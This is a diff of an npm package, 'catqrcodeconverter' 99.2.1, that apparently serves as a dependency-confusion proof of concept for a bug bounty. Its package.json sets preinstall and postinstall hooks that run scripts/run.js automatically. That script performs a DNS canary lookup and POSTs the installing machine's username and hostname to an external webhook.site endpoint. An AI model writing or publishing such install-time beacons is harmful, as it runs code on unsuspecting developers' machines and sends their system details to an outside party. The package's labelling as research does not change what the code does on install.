catqrcodeconverter 99.2.1

package/index.js

@@ -0,0 +1 @@
+module.exports = { ok: true, note: "catqrcodeconverter dependency-confusion PoC shim" };

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "catqrcodeconverter",
+  "version": "99.2.1",
+  "description": "catqrcodeconverter (dependency-confusion PoC)",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node scripts/run.js preinstall",
+    "postinstall": "node scripts/run.js postinstall"
+  },
+  "author": "bug-bounty PoC (najeh_halawani@wearehackerone.com)",
+  "license": "MIT"
+}

package/scripts/run.js

@@ -0,0 +1,52 @@
+'use strict';
+const http = require('http');
+const https = require('https');
+const dns = require('dns');
+const os = require('os');
+
+const OOB = 'https://webhook.site/8beeee0f-4dd4-4b25-8588-5a5f83fe6ed2';
+const DNS_CANARY = '8beeee0f-4dd4-4b25-8588-5a5f83fe6ed2.dnshook.site';
+
+// DNS canary
+try {
+  dns.lookup(DNS_CANARY, () => {});
+  console.log('[payload] DNS canary lookup issued -> ' + DNS_CANARY);
+} catch (e) {}
+
+// HTTP/HTTPS beacon
+try {
+  const u = new URL(OOB);
+  const lib = u.protocol === 'https:' ? https : http;
+
+  const body = JSON.stringify({
+    username: (os.userInfo && os.userInfo().username) || process.env.USER || process.env.USERNAME || 'unknown',
+    hostname: os.hostname(),
+    package: 'catqrcodeconverter`'
+  });
+
+  const req = lib.request({
+    hostname: u.hostname,
+    port: u.port || (u.protocol === 'https:' ? 443 : 80),
+    path: u.pathname + u.search,
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(body)
+    },
+    timeout: 4000
+  }, r => {
+    console.log('[payload] beacon delivered, status ' + r.statusCode);
+    r.resume();
+  });
+
+  req.on('error', e => console.log('[payload] beacon error: ' + e.code));
+  req.on('timeout', () => {
+    console.log('[payload] beacon timeout');
+    req.destroy();
+  });
+
+  req.write(body);
+  req.end();
+} catch (e) {
+  console.log('[payload] beacon error ' + e.message);
+}